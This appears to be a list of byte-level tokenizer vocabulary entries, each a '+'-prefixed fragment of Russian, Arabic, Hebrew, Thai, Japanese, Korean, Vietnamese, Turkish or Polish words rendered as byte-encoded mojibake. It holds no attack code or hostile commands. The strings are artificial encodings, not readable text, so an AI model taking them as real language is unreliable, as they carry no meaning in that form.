+ÑİÑģÑĮ +íļĮìĿĺ +ç°¡åį +ç°¡åįĺ +ç°¡åįĺãģ« +Ġtrúc +ĠاÙĦÙĥÙĪÙĬ +ĠاÙĦÙĥÙĪÙĬت +ãĤıãģijãģ§ãģĻ +ĠÑģвоб +ĠÑģвобод +ĠÑĥÑĩаÑģÑĤник +สิà¹īà¸Ļ +ĠпÑĢоÑĦеÑģÑģиона +ĠпÑĢоÑĦеÑģÑģионалÑĮн +ÑģпоÑĢ +×Ĺ×ķ×ij×Ķ +ÙħعÙĨÙī +ĠاÙĦÙģØªØ±Ø© +สูà¸ĩสุà¸Ķ +ãĤıãģļ +ĠÄijè +ĠÄijèn +æ¯Ķãģ¹ +าà¸ĺิ +Ġmożemy +à¹ģà¸ĭ +à¸Īะà¹Ħมà¹Ī +Ġsắp +ÐļÐŀ +Ġpráctica +ÙĪÙĥاÙĦØ© +è¾¼ãĤĵãģ§ +ológica +ĠеÑī +ĠеÑīÑij +تعدÙĬÙĦ +ĠØ£Ùĥد +Ġצר×Ļ׼ +Ġצר×Ļ׼×Ļ×Ŀ +Ø«Ùħ +ĠкÑĢÑĥ +ĠкÑĢÑĥп +×ij×Ļ×§×ķרת +Ġì¡°ê¸Ī +ãģ¨ãģįãģ¯ +Ġbạc +ĠÑĢаÑģпол +ĠÑĢаÑģполож +ĠÑĢаÑģположен +زÙĬÙĨ +ĠÐļÑĢоме +ĠاÙĦÙĨظر +×Ķ×ķ×ĵ +ĠاÙĦسبت +ã썿ĢĿãģĦ +ĠpaÅĦst +ĠpaÅĦstw +ĠÙĦÙĬست +ĠбÑĥдÑĥ +à¸Ĺัà¸Ļà¸Ĺี +ราม +ØŃصÙĪÙĦ +ãģĹãģ¦ãģıãĤĮãĤĭ +ĠاÙĦإسرائÙĬÙĦ +ĠاÙĦإسرائÙĬÙĦÙĬ +ãģĵãĤĮãģ¾ãģ§ +ìĤ¬ë¥¼ +Ġsürü +à¹Ģวà¸Ńรà¹Į +à¹Ģà¸ĭà¸Ńรà¹Į +Ġutilisé +ĠÑģиÑģÑĤема +Ġdwó +Ġdwóch +Ġpróprio +Ġëĵ±ìĿĦ +arrêt +ĠЧа +×IJ×ŀ׳×ķת +عارض +à¹Ģà¸ģมสà¹Į +Ġ׾×Ķ×ij×Ļף +Ġ׾×ij×Ĺ +Ġ׾×ij×Ĺ×ķר +สาà¸Ĥา +ĠÐľÐ¾Ñģкве +بعد +ĠاÙĦÙĤرار +ĠÄIJá»ĭa +Ġ×Ĺ×Ĵ +ÙģØªØ± +ÙĪÙĨØ© +Ġ×Ķ×ĸ×IJת +å¸Ĥãģ® +ãģ»ãģĹãģĦ +Ġ×ij×¢×Ļר +ĠÑĤепеÑĢÑĮ +ìĬµëĭĪê¹Į +à¹Ħมà¹Īว +à¹Ħมà¹Īวà¹Īา +à¹Ħมà¹Īวà¹Īาà¸Īะ +×ŀ×IJ×Ķ +æĥħåł± +æĥħåł±ãĤĴ +غÙĨ +ĠпоÑı +ĠпоÑıви +éģİãģĶ +تشغ +تشغÙĬÙĦ +вел +Ġ×Ĺ×ŀ +ãģ¨ãģªãĤĬãģ¾ãģĻ +ĠraÄŁ +ĠraÄŁmen +ãģĭãģ©ãģĨ +ãģĭãģ©ãģĨãģĭ +енко +ì§Ģê³ł +Ġ×IJ׾×Ļ×Ķ +ĠØ£ÙĦ +à¸Īำหà¸Ļ +à¸Īำหà¸Ļà¹Īาย +nızı +Ġ׾ק×Ĺת +Ø£ÙĩÙħ +Ø£ÙĩÙħÙĬØ© +تغÙĬر +ש×Ĺר +ס×ķפר +×ĵ×Ļר +èī¯ãģĭãģ£ãģŁ +×ŀ׾×Ĺ×ŀ×Ķ +ÑģÑĤвие +ÑĤÑĢаÑĤ +ĠاÙĦأخ +ĠاÙĦأخÙĬرة +ĠاÙĦØŃصÙĪÙĦ +Ġcrédito +צ×Ļ×¢ +ãĥ¬ãĥĻãĥ« +برÙĬ +ëIJIJ +ãģłãģ£ãģ¦ +ĠrealtÃł +سÙ쨱 +×ķ׳×ķ +×Ĵ×ķ×ĵ +×Ĵ×ķ×ĵ׾ +ฮา +ãģĹãģ¦ãģĬãĤĬãģ¾ãģĻ +ĠgÃł +Ġ׾×ijצע +å¼ķè¶ĬãģĹ +Ġ×ŀ×Ļ׾×Ļ +Ġ×ŀ×Ļ׾×Ļ×ķף +Ùħدر +Ùħدرسة +פ×ķ×ĺ +à¸Ļà¹īำมัà¸Ļ +ëģĿ +عÙĥس +ĠÙĤض +ĠÑĢÑĭб +خطط +×ŀ×ķס×ĵ +Ġ׼׾׾×Ļ +ĠкоÑĤоÑĢое +צ×Ļ×ķף +ĠмеÑģÑĤа +ãģĭãģ¤ +гÑĢÑĥпп +׾×Ļ׾ +ת×ķ×IJר +ë³µì§Ģ +à¹ģà¸ľà¹Īà¸Ļ +Ġ×ijעת +æĻĤéĸĵãĤĴ +ï¼£ +ãģ¨ãģĦãģĨãģĵãģ¨ãģ§ +Ġ׾×Ķ×§ +Ġ׾×ĸ×Ķ +ĠìłĢëĬĶ +ĠاÙĦإرÙĩاب +ĠìŀĪëĬĶëį° +ĠÑĤогда +Ġ×Ķצ×Ļ +×ķ׾×ĺ +Ġרפ×ķ×IJ×Ļ +ãģĵãģ¨ãģ§ãģĻ +ĠÄijÃŃch +ØŃÙĬا +Ġ×Ķ×ŀש×Ĺ×§ +ãģľãģ² +Ġ×ŀ×IJפשר +ãģ¿ãģ¾ãģĹãģŁ +ĠاÙĦØ£ÙħÙĬرÙĥÙĬ +ÙħجتÙħع +Ġساب +ĠسابÙĤ +׼×Ļ׾ +Ế +ãĥªãĤ¹ãĥĪ +Ġìĥ +ĠìĥĪ +ĠìĥĪë¡ľ +ĠìĥĪë¡ľìļ´ +ĠDá»ĭch +à¹Ģหมาะสม +ĠاÙĦÙĨبÙĬ +׾׾ +ÙĨع +Ðĵлав +ÐĵлавнаÑı +Ùħرض +Ġ×ķ×ĵ +تÙĤÙĬ +تÙĤÙĬÙĬÙħ +Ġbảng +ĠÙģÙĤاÙĦ +×¢×ŀ×Ļ +дÑĢа +Ġsuá»ijt +سرعة +Ġcá»Ń +Ġ×Ķ×Ļ×Ĺ×Ļ×ĵ +سعÙĬد +à¸Ńาà¸Ĭีà¸ŀ +ĠسÙĪØ§Ø¡ +ãĤ½ãĥķãĥĪ +ĠлиÑĩно +ĠÐļоÑĢ +اÙĩتÙħ +اÙĩتÙħاÙħ +à¸Ńà¸Ķี +à¸Ńà¸Ķีà¸ķ +ãģIJãĤīãģĦ +Ġihtiya +Ġihtiyaç +ãģ¾ãģ§ãģ® +ìĭľìĬ¤ +ìĭľìĬ¤íħľ +ÑĢÑĥÑĪ +ãĤĦãģ£ãģ± +ãĤĦãģ£ãģ±ãĤĬ +кеÑĢ +Ġży +Ġżyw +клон +Ġlượt +þ +даÑĩи +türk +غÙĪ +ĠигÑĢок +Ġphê +Ġ×©×¢×ľ +ĠاÙĦÙħدÙĨÙĬ +ĠìŬ룬ë¶Ħ +ער×Ļ×Ŀ +ÑħодÑıÑĤ +Ġxứ +ÐĹа +ĠÙģØ±Øµ +à¸Īะà¸Ĺำà¹ĥหà¹ī +íģ´ +×¢×ij×ķר +à¹Ģหลà¹Īาà¸Ļีà¹ī +èĢĥãģĪãĤĭ +ÑĢеÑģÑĤ +ннÑĭй +Ġcầm +داخÙĦ +ĠÙħÙĦÙĬار +ĠÐIJл +ĠвÑĢемен +à¸Ĭà¹Īวยà¹ĥหà¹ī +ר×Ļ×ķת +ëĵ¯ +飲ãģ¿ +׳׾ +שתף +ĠاÙĦسعÙĪØ¯ÙĬ +uÃŁ +ìĿ¸ëį° +ĠìĿ¼ë°ĺ +ÅĤÄĻ +Ġmá»iji +×ŀ×Ļ׳ +ĠاÙĦأطÙ쨧ÙĦ +Ġçıkan +école +×§×Ļש +×§×Ļש×ķר +ĠоÑģÑĥÑīеÑģÑĤв +ĠоÑģÑĥÑīеÑģÑĤвлÑı +×ij×IJר +à¹Ħà¸Ľà¸Ķà¹īวย +Ġ×¢×ķ׾×Ķ +à¸ģà¹ĩà¹Ħมà¹Ī +ãĥ¢ãĥĩ +ãĥ¢ãĥĩãĥ« +تØŃÙĪÙĦ +Ġодного +ת×Ĺ×Ļ×ľ×ª +Ġتخ +Ġchcia +ĠchciaÅĤ +ãĥIJãĥ³ +èĢħãģ¯ +ĠÙħØŃÙĦ +Ñģлож +Ñģложн +ĠtÄĻ +Ġçıkt +Ġçıktı +ĠCÆ¡ +à¹Ħà¸Ķà¹īà¹Ģลย +ırken +à¹Ģà¸Ĥà¹īาสูà¹Ī +ÙħØŃÙĥ +ÙħØŃÙĥÙħØ© +à¸Ħุà¹īม +à¸Ļà¹Īาà¸Īะ +лÑİд +деÑģÑı +деÑģÑıÑĤ +ĠлÑİбой +تØŃرÙĬر +צע×ĵ +ĠеÑij +ĠاÙĦØŃÙĥÙħ +ĠصباØŃ +à¹Ģà¸ļà¸Ńรà¹Į +Ġróżnych +гиб +ĠÑģоÑĤ +ĠÑģоÑĤÑĢÑĥд +ĠÑģоÑĤÑĢÑĥдник +ĠобÑĬем +פ×ĺר +ãģĻãģĶãģı +ãģ«éĸ¢ãģĹãģ¦ +вол +Ø«ÙħاÙĨ +Ġdần +æĬľ +æĬľãģij +Ġעש +Ġעש×ķ×Ļ +ס×ķף +ãģªãģ®ãģ§ãģĻ +ãģ¯ãģ©ãģĨ +×ŀער×ij +ï¼° +Ùħصر +ÙħÙĨاسب +ÙħÙĨاسبة +ä¸Ĭãģ® +×IJ×Ļש×ķר +ĠìĦ¤ì¹ĺ +×ŀ×ĵ×Ļ׳×ķת +×ŀרת +ãĤĭãģ®ãģĮ +دÙİ +ĠاÙĦشرÙĥات +ìĭľê°Ħ +ĠÑĢеÑĪение +ãģĻãĤĭãģ®ãģ¯ +ĠìŀIJìĭłìĿĺ +׾×ŀ×ķ +ãģ¨ãģĵãĤįãģ§ +Ġקצר +Ġmãi +Ġkültür +ãĥ©ãĤ¤ãĥĸ +à¸ľà¸¹à¹īหà¸įิà¸ĩ +æĻĤéĸĵãģĮ +клÑİÑĩи +diÄŁiniz +มาà¸ģà¹Ĩ +تØŃÙħÙĦ +Ġhạt +ãĤ¦ãĤ£ +пле +×ŀ׾×IJ +ÅĤó +Ġgá»ijc +Ġ×IJ×ķ×ĵ×ķת +หวาà¸Ļ +ĠاÙĦÙĪØ² +ĠاÙĦÙĪØ²Ø±Ø§Ø¡ +ëĵ¤ê³¼ +ĠصØŃ +ĠصØŃÙĬÙ쨩 +Ġмм +تدخÙĦ +Ġpersönlich +ĠزÙĬ +ĠزÙĬادة +ãĤ·ãĤ¢ +Ġngắn +à¸Ħลิà¸ģ +Ġsông +Ġtüket +ÑįÑĦÑĦ +ÑįÑĦÑĦекÑĤ +ש×Ļ×ij +Ġاعت +تض +تضÙħÙĨ +ĠاÙĦÙħشرÙĪØ¹ +Ġprodução +ĠпÑĢименÑı +ниÑĨÑĭ +주ëĬĶ +رÙı +ĠmÆ¡ +Ġhayatı +ëŁ½ +Ġücret +Ġyanında +Ġprática +×ij×Ļ×§×ķר +ÃľN +ÑģоÑĤ +ãĤıãģijãģ§ +Ġдолго +×ª×Ľ×ķ +ĠìķĦëĭĮ +ëį°ìĿ´ +Ġçiz +ĠchoÄĩ +Ġ×Ķ×Ļת +Ġ×Ķ×Ļתר +Ġsoát +׼×ij×ĵ +à¹Ģลà¹Īา +ĠдеÑĢ +ĠдеÑĢев +ãĤĴåħ¥ãĤĮ +×Ĺ×ķס +×Ĺ×ķסר +جÙĬÙĨ +tón +onné +ĠполноÑģÑĤÑĮÑİ +人ãģŁãģ¡ +Ġprêt +본 +Ġdécembre +cılar +Ġתת +Ġê²½ìļ°ìĹIJëĬĶ +ÙĪØ¹Ø¯ +è¦ĭãĤĭ +วิà¸Īัย +ë¶Ī +زÙĪØ§ +زÙĪØ§Ø¬ +dì +ãģ§ãģĻãĤĪ +Ġводо +ĠÙĬÙĪØ¬Ø¯ +ÑģоÑģÑĤоÑı +ÐŀС +ĠÄIJó +×Ĺפש +Ġצ×Ļ×ij×ķר +ĠاÙĦÙĤØ· +ĠاÙĦÙĤطاع +ĠимеÑİÑĤ +ĠpháºŃn +×Ľ×¡×¤×Ļ +полниÑĤелÑĮ +éĻIJãĤĬ +ĠÑģÑĢав +ĠÑģÑĢавн +ÙħاÙĦÙĥ +×ĵר×ķ×Ŀ +çļĨãģķãĤĵ +ØŃÙĤÙĤ +à¹ģหลà¹Īà¸ĩ +ĠاÙĦرسÙħÙĬ +оÑĩки +×ĺ×ij×Ĺ +Ġcanlı +Ġ׾׾ +Ġ׾׾×ŀ×ķ×ĵ +×ŀ×ij×ķ +×ª×Ľ +×ª×Ľ×ł×Ļת +ĠاÙĦÙħشار +ĠاÙĦÙħشارÙĥØ© +İÅŀ +ĠسÙĬاسÙĬ +волÑĮ +ĠÑģпÑĢав +æĿ¥ãģ¦ +פ×ķר×ķ×Ŀ +สำà¹Ģรà¹ĩ +สำà¹Ģรà¹ĩà¸Ī +ĠÅŁÃ¶yle +ĠzostaÅĤa +ĠHü +ר×ķש +دÙĦÙĬÙĦ +ÑĢид +שף +×ŀ×§×ķר +ĠÑĥÑĩ +ĠÑĥÑĩеб +ĠÑįÑĤа +кова +à¸ķà¸Ļà¹Ģà¸Ńà¸ĩ +ÙĨÙIJ +à¸Ńีà¸ģà¸Ħรัà¹īà¸ĩ +ระà¸ļุ +Ġdữ +ĠاÙĦØŃاÙĦÙĬ +׼×ķ׼ +׼×ķ׼×ij +Ġ×ŀ×IJשר +Ġtrụ +ÑĤелем +Ġвли +ĠвлиÑı +Ġש×IJת×Ŀ +Ġuwag +ĠuwagÄĻ +×ĺ×Ļת +×IJ×ĵ×Ŀ +à¸Ķุ +Ġ×Ķ×IJ׾×Ķ +ĠkarÄ±ÅŁ +ĠÄIJá»iji +даÑİÑĤ +ãģªãģ®ãģ« +Äħcych +à¹Ģà¸Ļà¹īà¸Ļ +ãģĹãģ¦ãģĹãģ¾ãģĨ +intérieur +ĠfÃŃsica +ĠÐŁÐ¾Ð» +ãģĹãģķ +à¸Ĺำà¹Ħม +ĠLâm +ĠاÙĦÙħسÙĦÙħ +ĠاÙĦÙħسÙĦÙħÙĬÙĨ +صØŃØ© +ìĹĦ +à¹Ģà¸Ķà¹ĩà¸Ķ +ĠÑĥÑĩеÑĤ +âÌģ +ĠبÙĦا +ĠاÙĦاجتÙħاعÙĬ +פרס×Ŀ +ãĥķãĥ© +ĠÐļогда +mieÅĽci +ĠبÙĬÙĨÙħا +Ġ×ŀ×IJ×ŀר×Ļ×Ŀ +Ġ×ij×IJ×ĸ×ķר +×ķש×Ļ×Ŀ +ĠÑģдела +entrée +à¹Ģà¸Ħà¹īา +Ñĥгл +ĠاÙĦÙģÙĨÙĬ +ĠÐĴоÑĤ +à¸Ĺีà¹Īมา +×ķצ×Ĵ +ÙĤدرة +Ġ목 +Ġ목ìłģ +íıīê°Ģ +ĠاÙĦأربع +ĠاÙĦأربعاء +פס×Ļ×§ +ĠÑıвлÑıÑİÑĤÑģÑı +بÙĪÙĨ +ì°¾ +×ŀ×¢×¨×Ľ +×ŀ×¢×¨×Ľ×ķת +ãĤ·ãĤ§ +ĠباÙĦØ£ +íĸĪëįĺ +ĠاÙĦبرÙĨاÙħج +ĠاÙĦØ£ØŃد +ĠmÅ© +ĠmÅ©i +паÑĤ +بث +ĠÑĨенÑĭ +Ġ×ij×ª×ľ +è¨ĢãĤıãĤĮ +ĠاÙĦÙħجاÙĦ +ĠìĦ¸ìĥģ +Ġ×Ĵ×ķפ +ĠнаÑĪей +ĠкомпаниÑı +бин +ölü +×Ļ×Ļ×ĺ +Ġ×ŀספ×Ļ×§ +ยัà¸ĩà¸Ħà¸ĩ +ĠЧи +ĠанÑĤи +ĠÑģÑĢеди +สà¹Īวà¸Ļà¹ĥหà¸įà¹Ī +оÑĩка +íĬ¹ë³Ħ +วà¹Īาà¸ĩ +гоÑĢод +باÙĥ +à¹Ģสีà¹Īย +à¹Ģสีà¹Īยà¸ĩ +ãĤĤãĤīãģĦ +×§×ķ×Ŀ +ãģĽãģļ +ĠاÙĦÙĤاÙĩرة +Ġ×ij׼×ļ +ÙħشارÙĬع +باØŃØ« +ĠпоÑĩ +ĠпоÑĩÑĤи +ĠÑĦоÑĢма +Sİ +Ġ×ŀצ×Ļ×¢ +ลื +ลืม +ĠÑĤеÑĢ +ĠÑĤеÑĢÑĢиÑĤоÑĢ +ĠÑĤеÑĢÑĢиÑĤоÑĢии +ĠвмеÑģÑĤ +ĠвмеÑģÑĤе +dıkları +opération +à¹Ĥห +صدÙĬ +صدÙĬÙĤ +íĸīìłķ +تجا +تجاÙĪØ² +Ġsuç +Ġarty +Ġartyku +ĠartykuÅĤ +ãĤ·ãĥ§ãĥĥãĥĹ +שפ +שפ×Ļ×¢ +Ġ×Ķש×Ļר×ķת +à¹ģà¸ĸม +ë¸Ķ +ĠukÅĤad +Ġ×ķ׼×Ļ +หลาà¸ģ +หลาà¸ģหลาย +æĸ¹ãĤĤ +Ġpodróż +ĠEÄŁer +ĠкомнаÑĤ +ĠÑģамÑĭÑħ +ĠвкÑĥÑģ +беж +Ġ×ij×§×ķ +æİĽãģij +ãģ¿ãĤĭãģ¨ +ĠiliÅŁkin +ĠÙĬعÙħÙĦ +ĠподаÑĢ +Ġyazılı +ãĤĴå¾Ĺ +ĠwystÄĻp +à¸Ĺีà¹Īà¹ĥà¸Ĭà¹ī +ØŃادث +ÙĪÙĬد +кÑĥлÑĮÑĤ +кÑĥлÑĮÑĤÑĥÑĢ +à¸ģารà¹ģà¸Ĥà¹Īà¸ĩ +à¸ģารà¹ģà¸Ĥà¹Īà¸ĩà¸Ĥ +à¸ģารà¹ģà¸Ĥà¹Īà¸ĩà¸Ĥัà¸Ļ +ÙħÙĪØ¸ +ÙħÙĪØ¸Ùģ +ÙĬÙħÙĬ +ãĤĵãģ§ãģĻãģĮ +diÄŁim +diÄŁimiz +ĠÐŁÐµÑĢ +ĠÐŁÐµÑĢв +Ġmão +ĠÑģез +ĠÑģезон +Ġ×Ķ×ŀ×¢ +ÙħجÙħÙĪØ¹Ø© +ĠинÑĦоÑĢмаÑĨии +iếc +ãng +ĠÄijấy +ãģĶç´ +ãģĶç´¹ +ãģĶç´¹ä»ĭ +Ġadım +à¹Ħหล +ĠпÑĢакÑĤи +ĠпÑĢакÑĤиÑĩ +ĠпÑĢакÑĤиÑĩеÑģ +ĠпÑĢакÑĤиÑĩеÑģки +ĠاÙĦÙĨÙ쨳 +ĠÑĢабоÑĤе +ÙĦÙĬÙģ +ĠاÙĦجÙĨÙĪØ¨ +ĠводÑĭ +ì¹Ļ +ĠмиÑĢа +ĠÄijừng +ĠпÑĢоÑĤиво +ĠÑģÑĤÑĢанÑĭ +ลู +ìĤ¶ +kreÅĽl +Ġbulund +ĠbulunduÄŁu +à¹ģสà¸Ļ +ãĤ±ãĤ¢ +ת×Ĺ×ķ×ŀ×Ļ +ר׼×Ķ +Ġ׾ק×ķ×Ĺ +Ġ׾ק×ķ×Ĺ×ķת +Ġ×Ľ×ª×ķ×ijת +ĠÙĦÙĥÙħ +بشر +ĠrÃłng +Ġ×ŀ×Ķ×ŀ +Ġ×IJ×Ĺר×ķת +Ġбон +ĠбонÑĥÑģ +ï½Ĺ +à¹ģยà¸ģ +ãģĤãģªãģŁãģ® +ĠÑĥÑĩаÑģÑĤие +ĠEyl +ĠEylül +ĠçalÄ±ÅŁmaları +خطر +ìĿ½ +à¸ģารà¹ĥà¸Ĭà¹īà¸ĩาà¸Ļ +Ġанализ +תק×ij׾ +нием +Ġİns +Ġİnsan +ĠبÙĪØ§Ø³ +ĠبÙĪØ§Ø³Ø·Ø© +Ġ×ł×Ľ×ł×¡ +Ġ×Ķ×ŀ×Ļ×ĵ×¢ +Ġço +ĠçoÄŁu +á»ĺ +ĠêµŃ민 +ãĤĤãģĦãģĦ +Ġ׼׾×Ļ +ĠÑģÑĢедне +gÅĤo +gÅĤoÅĽ +Ġnegó +Ġnegócio +ĠÑĢегиÑģÑĤ +ĠÑĢегиÑģÑĤÑĢа +ĠÑĢегиÑģÑĤÑĢаÑĨии +Ġtrá»ĵng +ĠпÑĢÑı +ĠпÑĢÑıмо +ëłĪìĿ´ +Ġkém +кле +à¸Ļำมา +ĠÑĦин +ĠÑĦинанÑģ +ĠÑĦинанÑģов +Ġkiá»ĩm +ยัà¸ĩà¹Ħ +ยัà¸ĩà¹Ħà¸ĩ +ยิà¸ĩ +à¹Ĥà¸Ľ +ĠполÑĥÑĩил +×Ļ×ĸ×Ŀ +à¹ģละà¸Ħวาม +ĠвообÑīе +صÙĬر +ãĥıãĥ³ +ĠاÙĦÙĤاد +ĠاÙĦÙĤادÙħ +ĠبدÙĪÙĨ +عظÙħ +×ª×ł×ķ×¢ +×ª×ł×ķ×¢×Ķ +Ø£ÙħÙĦ +ãģķãģĪ +ÑĤем +ÑĤемпеÑĢ +ÑĤемпеÑĢаÑĤÑĥÑĢ +Ġ׾×Ļצ×ķר +ĠrÄĻk +رسÙĦ +ìŀIJ를 +Ġ×Ļצ×Ļרת +ÙĨبÙĬ +ÑĩнаÑı +تØŃÙĦÙĬÙĦ +Ġмик +ĠмикÑĢо +ĠSöz +Ġforça +Ñģон +ĠاÙĦعرا +ĠاÙĦعراÙĤÙĬ +ĠHá»ĵng +ãģĻãĤĭãģŁãĤģãģ« +à¸Ĺีà¹Īà¸Ńยูà¹Ī +Ġ×ķ×IJ×£ +صÙĬد +ĠìķĬê³ł +รัà¸ĩ +ĠاÙĦتÙĪØ§ØµÙĦ +à¹Ģมà¸ķร +ÑĥÑģÑĤÑĢой +ÑĥÑģÑĤÑĢойÑģÑĤв +mıyor +ĠباسÙħ +Ġ×ķ׼×ķ +ĠGül +á»IJ +Ãītat +غاÙĦ +Ø¥ÙĨØ´ +Ø¥ÙĨشاء +Tİ +à¸Ĥà¹īาม +Ġtroch +ĠtrochÄĻ +إص +إصابة +ĠثاÙĨÙĬ +ĠاÙĦصØŃØ© +Ġ×ĸ×Ķ×ķ +jÄħcej +ãĥĢãĥ³ +ìĿ¸ìĿ´ +ĠволоÑģ +ëIJĺë©´ +ĠzakÅĤad +ãģĻãģĵãģ¨ +以ä¸Ĭãģ® +Ġ×Ķ×ŀ×§×ķ×Ŀ +ÙħشاÙĩ +ÙħشاÙĩدة +Ñĩив +بش +ยà¹īาย +Ġsürdür +ĠNẵ +ĠNẵng +ĠигÑĢаÑĤÑĮ +Ġê·¸ëŁ¬ë©´ +ãĥķãĥ« +ลà¹Īะ +Ġtendrá +ĠbÃły +à¹Ģà¸Ľà¹ĩà¸Ļà¸ľà¸¹à¹ī +Ġoko +ĠokoÅĤo +wÅĤa +wÅĤaÅĽci +wÅĤaÅĽciw +æĢĿãĤı +ĠYaÅŁ +ĠBá»ĩnh +íıŃ +بÙĬد +קרף +à¹Ģศร +à¹Ģศรษ +à¹Ģศรษà¸IJ +à¹Ģศรษà¸IJà¸ģิà¸Ī +ĠاÙĦØ£ÙĪØ±ÙĪ +ĠاÙĦØ£ÙĪØ±ÙĪØ¨ÙĬ +fläche +ä¹ĹãĤĬ +Ġbá»ģn +Ùĩب +æľĢãĤĤ +Ġsaç +à¸Ńำà¹Ģà¸ł +à¸Ńำà¹Ģà¸łà¸Ń +Ġأج +ĠاÙĦداخÙĦ +ĠاÙĦداخÙĦÙĬØ© +×ĺ×ķ×ij +ãĤĤãģªãģı +ĠлиÑĨа +à¹ģลà¹īวà¸ģà¹ĩ +×ĸ׼×Ļר +ĠquÃł +ĠÙĥذÙĦÙĥ +صØŃÙģ +ĠÃĤu +ÙĪØ¨Ø§ +à¹Ģà¸Ľà¸¥à¸µà¹Īยà¸Ļà¹ģà¸Ľà¸¥ +à¹Ģà¸Ľà¸¥à¸µà¹Īยà¸Ļà¹ģà¸Ľà¸¥à¸ĩ +à¸ķัวà¸Ńยà¹Īาà¸ĩ +Ġrápida +Ġtasar +Ġtasarım +ĠعÙĦÙĬÙĩÙħ +ס×ķ׾ +cılı +cılık +ĠرغÙħ +ìĭľíĤ¤ +Ġ×IJ׾ק +Ġ×IJ׾ק×ĺר +Ġ×IJ׾ק×ĺר×ķ׳×Ļ +à¹ģà¸ļà¹Īà¸ĩ +Ġhạng +ãģ£ãģ¦ãģıãĤĮ +ĠÙĨتÙĬ +ĠÙĨتÙĬجة +ıklı +غاÙĨ +à¸Ĥà¹īà¸Ńà¸Ħวาม +à¸Ľà¸¥à¸²à¸¢ +ĠØ£Ùħس +à¸Ĺีà¹Īà¹Ģà¸ģีà¹Īยว +à¸Ĺีà¹Īà¹Ģà¸ģีà¹Īยวà¸Ĥ +à¸Ĺีà¹Īà¹Ģà¸ģีà¹Īยวà¸Ĥà¹īà¸Ńà¸ĩ +Ġdéfin +Ġdéfini +ÙģÙĨاد +ÙģÙĨادÙĤ +à¹Ħà¸Ķà¹īวà¹Īา +ãģªãģĦãĤĪãģĨãģ« +Ġprópria +ĠPhát +ãĤĦãģĻãģı +สวยà¸ĩาม +ê³łìļĶ +ÑıеÑĤ +ãģĭãĤĤãģĹãĤĮãģ¾ãģĽãĤĵãģĮ +ترجÙħ +ĠкÑĢаÑģив +Ġ×ŀר×IJש +деж +ĠÙĬÙĪÙĨ +ĠÙĬÙĪÙĨÙĬÙĪ +ÑģкоÑĢ +ĠKasım +ê³Ħìķ½ +коÑģ +ĠнаÑĢÑĥ +ĠнаÑĢÑĥÑĪен +Ġduże +accès +Ġhá»ĵng +ĠvÅ© +ãģĦãģŁãģĹãģ¾ãģĻ +Ġ×ĺ×Ļ +Ġ×ĺ×Ļ×ķ׾ +lıkları +Ġquê +ëħ¸ëıĻ +ìķĶ +CIÃĵN +Ġtắc +pressão +ĠìŀĪìľ¼ +สิà¸Ĺà¸ĺิà¹Į +íĥĦ +Ġ×Ķ×ŀ×ŀש׾×Ķ +å¬īãģĹãģĦ +ĠÄIJặc +ÙĨزÙĦ +ĠдÑĢÑĥгой +дÑĥÑĤ +ìĪĻ +Ġthụ +à¹Ģสร +à¹Ģสรà¹ĩ +à¹Ģสรà¹ĩà¸Ī +Ġtoplant +Ġtoplantı +×IJ×ŀף +×ķ×ľ×ª +помн +ĠyoÄŁun +ÅĦskiego +ì°© +ĠØ«ÙĦاث +ĠØ«ÙĦاثة +Ġlắng +릴 +ราà¸Ĭà¸ģาร +ĠÑģлова +á»Ĩ +à¸Ķีà¸ģวà¹Īา +ãģĶãģĸãģĦãģ¾ãģĻ +Ġдиз +Ġдизайн +férence +lıklar +ãģªãĤĵãģ§ãģĻ +ajÄħcy +Ġëĭ¤ìĸij +Ġëĭ¤ìĸijíķľ +×§×Ļר +ØŃار +สูà¹ī +Ġzro +Ġzrobi +ĠzrobiÄĩ +×ŀ×Ļ׼×Ķ +à¸Ĭà¹Īวยà¹Ģหลืà¸Ń +ĠÑįÑĤÑĥ +ë´ī +楽ãģĹãģĦ +سÙĪØ± +íķĺê±°ëĤĺ +ÙħؤتÙħر +ĠpoczÄħ +ĠpoczÄħtk +ĠpoczÄħtku +ĠعربÙĬ +اÙĦأر +اÙĦأردÙĨ +à¸Ķร +Åĵuvre +ĠÙĪÙĥاÙĨت +ĠÅĽredni +خضر +Ġchuyến +нÑĤ +ĠìķĮê³ł +Ġvá»Ŀi +Ġ×ij×Ļ×ĵ×Ļ +×ŀ×ĵ×ķ×ijר +ÙĪÙ쨱 +ÙĬØ¡ +×ł×Ľ×¡ +ĠÐĽÐ° +лон +Ġxấu +ÙģÙĬÙĨ +Ġfévrier +ĠÐŀна +ĠVá»ģ +ĠÅŁeyler +ĠполÑĥÑĩен +зад +Ġnét +à¹Ħà¸Ľà¸¢à¸±à¸ĩ +×Ĺש×ij×ķ +à¸ļัà¸Ļà¸Ĺ +à¸ļัà¸Ļà¸Ĺึà¸ģ +ĠgerçekleÅŁ +иÑĩеÑģкое +ìĪĺê°Ģ +ثبت +ãģ¤ãģ¾ãĤĬ +ĠÑĥÑģловиÑıÑħ +ëĭ¤ê°Ģ +รายà¹Ħà¸Ķà¹ī +׼×IJ×ij +à¹Ĥà¸Ľà¸£à¹Ĥม +à¹Ĥà¸Ľà¸£à¹Ĥมà¸Ĭัà¹Īà¸Ļ +jähr +jährige +ק׳×Ļ×Ŀ +×ŀ×ķ×§ +×ŀ×ķ×§×ĵ +ãģ«è¡Įãģ£ãģ¦ +Ø¢ÙĦ +ведение +Ġ×ľ×Ľ×ª×ķ×ij +جÙħÙĩ +جÙħÙĩÙĪØ±ÙĬØ© +à¸īà¸ļ +à¸īà¸ļัà¸ļ +ĠCòn +à¸ľà¸ªà¸¡ +ãģªãģ©ãģĮ +×IJ×Ķ×ij +ĠдейÑģÑĤвиÑı +yız +à¹Ħมà¹Īà¹Ģà¸Ħย +جÙĪØ² +×Ķ×Ĺ׾×ĺ×Ķ +fällt +ãĥĵãĤ¸ +ãĥĵãĤ¸ãĥį +ãĥĵãĤ¸ãĥįãĤ¹ +Ġ×IJ×Ļ׳×Ŀ +ĠнаÑħодиÑĤÑģÑı +ĠdziÅĽ +ستطÙĬع +׾×Ļף +Ø®ÙĦاÙģ +ÙĩÙIJ +Ġatrás +íĺģ +ãĤĴãģĶ +Ġ×Ķ×ŀ×ķצר +ĠBakanlıģı +ÑİÑīее +ÙħÙĨاط +ÙħÙĨاطÙĤ +Ù쨝 +à¸Ļำà¹Ħà¸Ľ +Ġваж +Ġважно +Ġmạch +׼׳×ķ +بعث +lanması +Ġayr +Ġayrıl +ìĤ¬íļĮ +dÃŃa +pÅĤyw +اÙħÙĬØ© +íĺľ +×IJ׳×Ĵ׾ 